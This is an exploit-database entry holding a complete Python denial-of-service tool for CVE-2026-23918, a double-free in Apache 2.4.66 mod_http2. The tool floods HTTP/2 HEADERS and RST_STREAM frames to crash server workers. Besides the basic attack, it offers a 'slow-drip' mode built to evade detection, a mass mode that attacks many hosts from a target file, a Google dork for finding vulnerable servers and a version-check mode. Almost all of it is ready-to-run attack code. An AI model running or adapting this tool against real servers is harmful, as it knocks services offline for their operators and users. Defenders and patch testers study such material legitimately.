Apache HTTP Server 2.4.66 – ‘mod_http2’ Double-Free Denial of Service
# Exploit Title: Apache HTTP Server 2.4.66 - 'mod_http2' Double-Free Denial of Service # Google Dork: intext:"Apache/2.4.66" "HTTP/2" # Date: 2026-05-06 # Exploit Author: xeloxa (https://github.com/xeloxa/) <alisunbul@proton.me> # Vendor Homepage: https://httpd.apache.org/ # Software Link: https://archive.apache.org/dist/httpd/httpd-2.4.66.tar.gz # Version: 2.4.66 # Tested on: Debian / Ubuntu # CVE : CVE-2026-23918 """ CVE-2026-23918 - Apache mod_http2 Double-Free PoC Quick summary: This bug (CWE-415) hits Apache 2.4.66. It's a race condition in the stream cleanup path. If you spam HEADERS and RST_STREAM fast enough, you can trigger a double-free and crash the worker. Author: xeloxa (https://github.com/xeloxa/) <alisunbul@proton.me> Found by: Bartlomiej Dmitruk & Stanislaw Strzalkowski """ import argparse import json import os import signal import socket import ssl import sys import threading import time from collections import defaultdict from dataclasses import dataclass, field from datetime import datetime from typing import Dict, List, Optional, Tuple # --------------------------------------------------------------------------- # Dependency Check # --------------------------------------------------------------------------- try: import h2.config import h2.connection import h2.events HAS_H2 = True except ImportError: HAS_H2 = False # --------------------------------------------------------------------------- # ANSI Colors (for terminal output) # --------------------------------------------------------------------------- class Color: RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" MAGENTA = "\033[95m" CYAN = "\033[96m" BOLD = "\033[1m" RESET = "\033[0m" def c(text: str, color: str) -> str: """Wrap text in color if output is a terminal.""" if sys.stdout.isatty(): return f"{color}{text}{Color.RESET}" return text def print_banner(title: str, color: str = Color.BOLD) -> None: """Print a consistent tool banner with author info.""" print(f"{'=' * 60}") print(c(title, color)) print(f"Author: xeloxa (https://github.com/xeloxa/)") print(f"{'=' * 60}") # --------------------------------------------------------------------------- # Data Structures # --------------------------------------------------------------------------- @dataclass class ExploitStats: """Just a thread-safe counter for the stats.""" connections: int = 0 requests: int = 0 resets: int = 0 conn_errors: int = 0 stream_errors: int = 0 crashes: int = 0 lock: threading.Lock = field(default_factory=threading.Lock) def inc(self, attr: str, delta: int = 1) -> None: with self.lock: setattr(self, attr, getattr(self, attr) + delta) def snapshot(self) -> Dict[str, int]: with self.lock: return { "connections": self.connections, "requests": self.requests, "resets": self.resets, "conn_errors": self.conn_errors, "stream_errors": self.stream_errors, "crashes": self.crashes, } # --------------------------------------------------------------------------- # SSL / HTTP/2 Connection Helpers # --------------------------------------------------------------------------- def create_ssl_context( alpn_protocols: Optional[List[str]] = None, ) -> ssl.SSLContext: """Create an SSL context configured for HTTP/2 ALPN negotiation.""" ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE if alpn_protocols is None: alpn_protocols = ["h2"] ctx.set_alpn_protocols(alpn_protocols) return ctx def establish_h2_connection( host: str, port: int, timeout: float = 5.0, use_ssl: bool = True, ) -> Tuple[Optional[socket.socket], Optional[h2.connection.H2Connection]]: """ Sets up an H2 connection. Returns (socket, h2_connection) or (None, None) if something breaks. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((host, port)) if use_ssl: ctx = create_ssl_context() sock = ctx.wrap_socket(sock, server_hostname=host) config = h2.config.H2Configuration(client_side=True) conn = h2.connection.H2Connection(config=config) conn.initiate_connection() sock.sendall(conn.data_to_send()) # Receive server preface (SETTINGS frame) data = sock.recv(8192) if not data: sock.close() return None, None conn.receive_data(data) sock.sendall(conn.data_to_send()) return sock, conn except Exception: try: sock.close() except Exception: pass return None, None # --------------------------------------------------------------------------- # Mode 1: DoS - Rapid RST Attack # --------------------------------------------------------------------------- class RapidRSTDoS: """ The "classic" Rapid-RST DoS. We send a HEADERS frame and immediately follow up with an RST_STREAM. If the server hasn't registered the stream yet, it'll trigger two different cleanup callbacks. Both try to free the same memory. Boom - SIGSEGV. """ def __init__( self, target: str, port: int, workers: int = 100, intensity: int = 7, use_ssl: bool = True, timeout: float = 5.0, verbose: bool = False, json_output: bool = False, ): self.target = target self.port = port self.num_workers = workers self.intensity = max(1, min(10, intensity)) self.use_ssl = use_ssl self.timeout = timeout self.verbose = verbose self.json_output = json_output self.running = True self.crashed = False self.stats = ExploitStats() self.start_time: Optional[float] = None def is_server_alive(self) -> bool: """Check if the target server is responsive via HTTP/2.""" sock, conn = establish_h2_connection( self.target, self.port, timeout=3.0, use_ssl=self.use_ssl ) if sock is None: return False try: sock.close() except Exception: pass return True def worker(self, worker_id: int) -> None: """ Worker thread that continuously opens HTTP/2 connections and sends HEADERS+RST_STREAM frame sequences to trigger the double-free. """ streams_per_conn = 50 reset_interval = max(1, 11 - self.intensity) # Lower = more resets while self.running: sock, conn = establish_h2_connection( self.target, self.port, timeout=self.timeout, use_ssl=self.use_ssl, ) if sock is None: self.stats.inc("conn_errors") time.sleep(0.1) continue self.stats.inc("connections") try: sent = 0 while sent < streams_per_conn and self.running: try: stream_id = conn.get_next_available_stream_id() conn.send_headers( stream_id, [ (b":method", b"GET"), (b":scheme", b"https" if self.use_ssl else b"http"), (b":authority", self.target.encode()), (b":path", b"/"), ], ) sock.sendall(conn.data_to_send()) self.stats.inc("requests") # Send RST_STREAM on configured interval if sent % reset_interval == 0: conn.reset_stream(stream_id, error_code=1) sock.sendall(conn.data_to_send()) self.stats.inc("resets") sent += 1 # Small delay to avoid overwhelming local resources time.sleep(0.001 * (11 - self.intensity)) except Exception: self.stats.inc("stream_errors") break # Gracefully close the connection conn.close_connection() try: sock.sendall(conn.data_to_send()) except Exception: pass except Exception: pass finally: try: sock.close() except Exception: pass def monitor(self) -> None: """Monitor thread that checks server aliveness and prints stats.""" checks_since_alive = 0 last_report = 0 while self.running: time.sleep(0.5) alive = self.is_server_alive() if alive: checks_since_alive = 0 elapsed = int(time.time() - self.start_time) if elapsed - last_report >= 10: last_report = elapsed snap = self.stats.snapshot() if self.json_output: print( json.dumps( { "timestamp": datetime.now().isoformat(), "elapsed_s": elapsed, "status": "alive", **snap, } ) ) else: print( f" {c(f'[t={elapsed}s]', Color.CYAN)} " f"conns={snap['connections']} " f"reqs={snap['requests']} " f"resets={snap['resets']} " f"{c('OK', Color.GREEN)}" ) else: checks_since_alive += 1 if checks_since_alive >= 2 and not self.crashed: self.crashed = True self.stats.inc("crashes") elapsed = int(time.time() - self.start_time) if self.json_output: print( json.dumps( { "timestamp": datetime.now().isoformat(), "elapsed_s": elapsed, "status": "CRASHED", **self.stats.snapshot(), } ) ) else: print(f"\n{'=' * 60}") print( c( f"!!! SERVER CRASHED at t={elapsed}s !!!", Color.RED + Color.BOLD, ) ) print( f"Stats: {json.dumps(self.stats.snapshot(), indent=2)}" ) print(f"{'=' * 60}") self.running = False return def run(self) -> None: """Execute the DoS exploit.""" if not self.json_output: print_banner("CVE-2026-23918 - Apache Double-Free DoS", Color.BOLD + Color.RED) print(f"Target: {self.target}:{self.port}") print(f"Mode : Rapid-RST") print(f"Stats : {self.num_workers} workers | Intensity {self.intensity}") print(f"SSL : {'On' if self.use_ssl else 'Off'}") print(f"{'=' * 60}") if not HAS_H2: print(c("[!] h2 library missing. Install: pip3 install h2", Color.RED)) sys.exit(1) # Pre-flight server check if not self.json_output: print(c("[*] Checking if server is up...", Color.YELLOW)) if not self.is_server_alive(): print(c(f"[!] Can't reach {self.target}:{self.port}", Color.RED)) sys.exit(1) if not self.json_output: print(c("[+] Server's up. Sending payloads...\n", Color.GREEN)) # Launch workers self.start_time = time.time() workers = [] for i in range(self.num_workers): t = threading.Thread(target=self.worker, args=(i,), daemon=True) t.start() workers.append(t) # Run monitor (blocks until crash detected or Ctrl+C) self.monitor() # Wait for workers to finish for t in workers: t.join(timeout=2) # Final report snap = self.stats.snapshot() if self.json_output: print( json.dumps( { "timestamp": datetime.now().isoformat(), "final": True, "crashed": self.crashed, **snap, } ) ) else: print(f"\n{'=' * 60}") print(c("ATTACK RESULTS", Color.BOLD)) print(f"{'=' * 60}") print(f"Connections: {snap['connections']}") print(f"Requests : {snap['requests']}") print(f"Resets : {snap['resets']}") print(f"Errors : {snap['conn_errors']} (conn) / {snap['stream_errors']} (stream)") if self.crashed: print(c("\n[!] CRASH DETECTED - Double-free confirmed.", Color.RED + Color.BOLD)) else: print(c("\n[-] Server's still alive.", Color.YELLOW)) print(f"{'=' * 60}") # --------------------------------------------------------------------------- # Mode 2: Slow-Drip DoS (Stealth) # --------------------------------------------------------------------------- class SlowDripDoS: """ Low-bandwidth, sustained denial of service. Uses fewer connections and longer intervals between RST_STREAM frames to evade detection while maintaining pressure on the target. """ def __init__( self, target: str, port: int, workers: int = 5, intensity: int = 3, duration_minutes: int = 30, use_ssl: bool = True, timeout: float = 5.0, json_output: bool = False, ): self.target = target self.port = port self.num_workers = max(1, workers) self.intensity = max(1, min(5, intensity)) self.duration_seconds = duration_minutes * 60 self.use_ssl = use_ssl self.timeout = timeout self.json_output = json_output self.running = True self.stats = ExploitStats() self.start_time: Optional[float] = None def worker(self, worker_id: int) -> None: """Slow-drip worker - lower frequency, sustained attack.""" while self.running and ( time.time() - self.start_time < self.duration_seconds ): sock, conn = establish_h2_connection( self.target, self.port, timeout=self.timeout, use_ssl=self.use_ssl ) if sock is None: self.stats.inc("conn_errors") time.sleep(0.5) continue self.stats.inc("connections") try: stream_id = conn.get_next_available_stream_id() conn.send_headers( stream_id, [ (b":method", b"GET"), (b":scheme", b"https" if self.use_ssl else b"http"), (b":authority", self.target.encode()), (b":path", b"/"), ], ) sock.sendall(conn.data_to_send()) self.stats.inc("requests") # Small delay before reset - simulates slow client time.sleep(0.01) conn.reset_stream(stream_id, error_code=1) sock.sendall(conn.data_to_send()) self.stats.inc("resets") conn.close_connection() sock.sendall(conn.data_to_send()) except Exception: self.stats.inc("stream_errors") finally: try: sock.close() except Exception: pass # Longer sleep for stealth delay = max(1.0, (6 - self.intensity) * 2.0) time.sleep(delay) def run(self) -> None: """Execute the slow-drip DoS.""" if not self.json_output: print_banner("CVE-2026-23918 - Slow-Drip (Stealth)", Color.BOLD + Color.YELLOW) print(f"Target: {self.target}:{self.port}") print(f"Time : {self.duration_seconds // 60} min") print(f"Workers: {self.num_workers} | Intensity: {self.intensity}") print(f"{'=' * 60}") if not HAS_H2: print(c("[!] h2 library missing. Install: pip3 install h2", Color.RED)) sys.exit(1) self.start_time = time.time() workers = [] for i in range(self.num_workers): t = threading.Thread(target=self.worker, args=(i,), daemon=True) t.start() workers.append(t) # Wait for duration or Ctrl+C try: while self.running and ( time.time() - self.start_time < self.duration_seconds ): time.sleep(5) elapsed = int(time.time() - self.start_time) snap = self.stats.snapshot() if self.json_output: print( json.dumps( { "timestamp": datetime.now().isoformat(), "elapsed_s": elapsed, **snap, } ) ) else: remaining = self.duration_seconds - elapsed print( f" {c(f'[{elapsed}s/{remaining}s remaining]', Color.CYAN)} " f"conns={snap['connections']} " f"resets={snap['resets']}" ) except KeyboardInterrupt: pass self.running = False for t in workers: t.join(timeout=2) if not self.json_output: print(c("\n[*] Slow-drip attack complete.", Color.GREEN)) # --------------------------------------------------------------------------- # Mode 3: Mass DoS # --------------------------------------------------------------------------- class MassDoS: """Multi-target sustained denial of service.""" def __init__( self, targets_file: str, workers_per_target: int = 50, intensity: int = 7, duration_minutes: int = 30, use_ssl: bool = True, timeout: float = 5.0, json_output: bool = False, ): self.targets = self._load_targets(targets_file) self.workers_per_target = workers_per_target self.intensity = max(1, min(10, intensity)) self.duration_seconds = duration_minutes * 60 self.use_ssl = use_ssl self.timeout = timeout self.json_output = json_output self.running = True self.start_time: Optional[float] = None self.target_results: Dict[Tuple[str, int], Dict] = defaultdict( lambda: { "status": "unknown", "connections": 0, "conn_errors": 0, "requests": 0, "resets": 0, "crashes": 0, } ) self.results_lock = threading.Lock() @staticmethod def _load_targets(path: str) -> List[Tuple[str, int]]: """Load targets from file (format: host:port or host).""" targets = [] with open(path) as f: for line in f: line = line.strip() if not line or line.startswith("#"): continue if ":" in line: host, port = line.rsplit(":", 1) targets.append((host.strip(), int(port.strip()))) else: targets.append((line.strip(), 443)) return targets def is_alive(self, host: str, port: int) -> bool: """Quick aliveness check.""" sock, conn = establish_h2_connection( host, port, timeout=3.0, use_ssl=self.use_ssl ) if sock is None: return False try: sock.close() except Exception: pass return True def worker(self, host: str, port: int) -> None: """Attack worker for a specific target.""" results = self.target_results[(host, port)] reset_interval = max(1, 11 - self.intensity) sent = 0 while self.running and ( time.time() - self.start_time < self.duration_seconds ): sock, conn = establish_h2_connection( host, port, timeout=self.timeout, use_ssl=self.use_ssl ) if sock is None: with self.results_lock: results["conn_errors"] += 1 time.sleep(0.5) continue with self.results_lock: results["connections"] += 1 try: while self.running and ( time.time() - self.start_time < self.duration_seconds ): try: sid = conn.get_next_available_stream_id() conn.send_headers( sid, [ (b":method", b"GET"), ( b":scheme", b"https" if self.use_ssl else b"http", ), (b":authority", host.encode()), (b":path", b"/"), ], ) sock.sendall(conn.data_to_send()) with self.results_lock: results["requests"] += 1 sent += 1 if sent % reset_interval == 0: conn.reset_stream(sid, error_code=1) sock.sendall(conn.data_to_send()) with self.results_lock: results["resets"] += 1 except Exception: break conn.close_connection() try: sock.sendall(conn.data_to_send()) except Exception: pass except Exception: pass finally: try: sock.close() except Exception: pass def monitor_target(self, host: str, port: int) -> None: """Monitor aliveness for a specific target.""" results = self.target_results[(host, port)] while self.running and ( time.time() - self.start_time < self.duration_seconds ): alive = self.is_alive(host, port) with self.results_lock: if not alive: if results["status"] != "down": results["status"] = "down" results["crashes"] += 1 elapsed = int(time.time() - self.start_time) if not self.json_output: print( c( f" [t={elapsed}s] {host}:{port} - SERVER DOWN", Color.RED, ) ) else: results["status"] = "up" time.sleep(5) def print_dashboard(self) -> None: """Print live status dashboard.""" print("\033[2J\033[H", end="") # ANSI escape sequence to clear screen elapsed = int(time.time() - self.start_time) remaining = max(0, self.duration_seconds - elapsed) print(f"{'=' * 70}") print(f" CVE-2026-23918 Mass DoS | {elapsed}s elapsed | {remaining}s remaining") print(f"{'=' * 70}") print( f"{'Target':<35} {'Status':<10} {'Conns':<8} {'Err':<5} {'Reqs':<8} {'Resets':<8} {'Crashes':<8}" ) print("-" * 80) for host, port in self.targets: r = self.target_results[(host, port)] print( f"{host+':'+str(port):<35} " f"{r['status']:<10} {r['connections']:<8} {r['conn_errors']:<5} " f"{r['requests']:<8} {r['resets']:<8} {r['crashes']:<8}" ) print(f"{'=' * 70}") def run(self) -> None: """Execute mass DoS attack.""" if not self.json_output: print_banner("CVE-2026-23918 - Mass Scan/Attack", Color.BOLD + Color.RED) print(f"Targets: {len(self.targets)} | Time: {self.duration_seconds // 60} min") print(f"Workers: {self.workers_per_target} per target | Intensity: {self.intensity}") print(f"{'=' * 60}\n") if not HAS_H2: print(c("[!] h2 library missing: pip3 install h2", Color.RED)) sys.exit(1) self.start_time = time.time() # Launch workers for each target all_workers = [] for host, port in self.targets: for _ in range(self.workers_per_target): t = threading.Thread( target=self.worker, args=(host, port), daemon=True ) t.start() all_workers.append(t) # Launch a monitor for each target mt = threading.Thread( target=self.monitor_target, args=(host, port), daemon=True ) mt.start() all_workers.append(mt) # Dashboard loop try: while self.running and ( time.time() - self.start_time < self.duration_seconds ): if not self.json_output: self.print_dashboard() time.sleep(10) except KeyboardInterrupt: pass self.running = False for t in all_workers: t.join(timeout=2) if not self.json_output: self.print_dashboard() print(c("\n[*] Mass DoS complete.", Color.GREEN)) # --------------------------------------------------------------------------- # Mode 4: RCE Detection (Passive) # --------------------------------------------------------------------------- def rce_detect( target: str, port: int, timeout: float = 5.0, json_output: bool = False ) -> Dict: """ Passive check. We just look at headers and version info to see if the target might be vulnerable. No exploit payloads sent. """ if not HAS_H2: if json_output: print( json.dumps( {"error": "h2 library not installed. Run: pip3 install h2"} ) ) else: print(c("[!] h2 library missing. Install: pip3 install h2", Color.RED)) return {"error": "h2 library not installed"} result = { "target": f"{target}:{port}", "timestamp": datetime.now().isoformat(), "reachable": False, "http2_supported": False, "server_header": None, "apache_version": None, "likely_vulnerable": False, "cve_applicable": False, "notes": [], } # Try HTTP/2 connection sock, conn = establish_h2_connection(target, port, timeout=timeout, use_ssl=True) if sock is None: result["notes"].append("Target not reachable or HTTP/2 not supported") return result result["reachable"] = True result["http2_supported"] = True # Send a GET request and observe response try: stream_id = conn.get_next_available_stream_id() conn.send_headers( stream_id, [ (b":method", b"GET"), (b":scheme", b"https"), (b":authority", target.encode()), (b":path", b"/"), ], ) conn.end_stream(stream_id) sock.sendall(conn.data_to_send()) # Receive response data = sock.recv(8192) if data: events = conn.receive_data(data) for event in events: if isinstance(event, h2.events.ResponseReceived): for name, value in event.headers: header_name = name.decode("utf-8", errors="replace").lower() header_value = value.decode("utf-8", errors="replace") if header_name == "server": result["server_header"] = header_value # Try to extract Apache version if "apache" in header_value.lower(): parts = header_value.split("/") if len(parts) > 1: result["apache_version"] = ( parts[-1].strip().split()[0] ) except Exception as e: result["notes"].append(f"Error during detection: {e}") try: sock.close() except Exception: pass # Analyze vulnerability status if result["apache_version"]: # Apache 2.4.66 is the affected version per CVE record if result["apache_version"] == "2.4.66": result["likely_vulnerable"] = True result["cve_applicable"] = True result["notes"].append("Apache 2.4.66 detected - VULNERABLE to CVE-2026-23918") else: try: # Parse version for comparison version_parts = result["apache_version"].split(".") if len(version_parts) >= 3: major, minor, patch = ( int(version_parts[0]), int(version_parts[1]), int(version_parts[2]), ) if (major, minor, patch) >= (2, 4, 67): result["notes"].append( f"Apache {result['apache_version']} - PATCHED (>= 2.4.67)" ) elif (major, minor, patch) < (2, 4, 66): result["notes"].append( f"Apache {result['apache_version']} - outside confirmed CVE range (< 2.4.66)" ) else: result["cve_applicable"] = True result["likely_vulnerable"] = True except (ValueError, IndexError): result["notes"].append("Could not parse version string") elif result["http2_supported"]: result["notes"].append( "HTTP/2 supported but version unknown - manual verification needed" ) result["cve_applicable"] = True # Potentially vulnerable if json_output: print(json.dumps(result, indent=2)) else: print_banner("Vulnerability Scan Report", Color.BOLD) print(f"Target : {result['target']}") print(f"H2 : {'Supported' if result['http2_supported'] else 'Not found'}") print(f"Server : {result['server_header'] or 'Unknown'}") print(f"Apache : {result['apache_version'] or 'Unknown'}") status = c("LIKELY VULNERABLE", Color.RED + Color.BOLD) if result['likely_vulnerable'] else c("Likely safe", Color.GREEN) print(f"Status : {status}") if result["notes"]: print(f"Notes :") for note in result["notes"]: print(f" - {note}") print(f"{'=' * 60}") return result # --------------------------------------------------------------------------- # Signal Handling # --------------------------------------------------------------------------- def signal_handler(sig: int, frame) -> None: """Handle interrupt signals for a clean exit.""" print(c("\n[!] Received interrupt - shutting down...", Color.YELLOW)) sys.exit(0) # --------------------------------------------------------------------------- # Main Entry Point # --------------------------------------------------------------------------- def main() -> None: parser = argparse.ArgumentParser( description="CVE-2026-23918 - Apache HTTP/2 Double-Free Exploit", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: %(prog)s --target 192.168.1.100 --port 8443 --mode dos %(prog)s --target example.com --mode rce-detect %(prog)s --targets targets.txt --mode mass --duration 30 %(prog)s --target 10.0.0.50 --mode slow-drip -w 5 -i 3 -d 60 """, ) parser.add_argument( "--target", "-t", help="Target IP or hostname" ) parser.add_argument( "--port", "-p", type=int, default=443, help="Target port (default: 443)" ) parser.add_argument( "--mode", "-m", choices=["dos", "slow-drip", "mass", "rce-detect"], default="dos", help="Exploit mode (default: dos)", ) parser.add_argument( "--targets", "-T", help="File with target list for mass mode (format: host:port per line)", ) parser.add_argument( "--workers", "-w", type=int, default=100, help="Number of concurrent worker threads (default: 100)", ) parser.add_argument( "--intensity", "-i", type=int, default=7, help="Attack intensity 1-10 (default: 7)", ) parser.add_argument( "--duration", "-d", type=int, default=30, help="Attack duration in minutes for slow-drip/mass modes (default: 30)", ) parser.add_argument( "--timeout", type=float, default=5.0, help="Connection timeout in seconds (default: 5)", ) parser.add_argument( "--no-ssl", action="store_true", help="Use plaintext HTTP/2 (h2c) instead of HTTPS (h2)", ) parser.add_argument( "--verbose", "-v", action="store_true", help="Verbose output" ) parser.add_argument( "--json", action="store_true", dest="json_output", help="JSON output format" ) args = parser.parse_args() # Validate arguments if args.mode in ("dos", "slow-drip", "rce-detect") and not args.target: parser.error(f"--target is required for mode '{args.mode}'") if args.mode == "mass" and not args.targets: parser.error("--targets file is required for mass mode") use_ssl = not args.no_ssl # Register signal handlers for clean exit signal.signal(signal.SIGINT, signal_handler) signal.signal(signal.SIGTERM, signal_handler) # Dispatch to selected mode try: if args.mode == "dos": exploit = RapidRSTDoS( target=args.target, port=args.port, workers=args.workers, intensity=args.intensity, use_ssl=use_ssl, timeout=args.timeout, verbose=args.verbose, json_output=args.json_output, ) exploit.run() elif args.mode == "slow-drip": exploit = SlowDripDoS( target=args.target, port=args.port, workers=args.workers, intensity=args.intensity, duration_minutes=args.duration, use_ssl=use_ssl, timeout=args.timeout, json_output=args.json_output, ) exploit.run() elif args.mode == "mass": exploit = MassDoS( targets_file=args.targets, workers_per_target=args.workers, intensity=args.intensity, duration_minutes=args.duration, use_ssl=use_ssl, timeout=args.timeout, json_output=args.json_output, ) exploit.run() elif args.mode == "rce-detect": rce_detect( target=args.target, port=args.port, timeout=args.timeout, json_output=args.json_output, ) except KeyboardInterrupt: print(c("\n[!] Interrupted by user.", Color.YELLOW)) sys.exit(0) except Exception as e: print(c(f"\n[!] Fatal error: {e}", Color.RED)) sys.exit(1) if __name__ == "__main__": main() |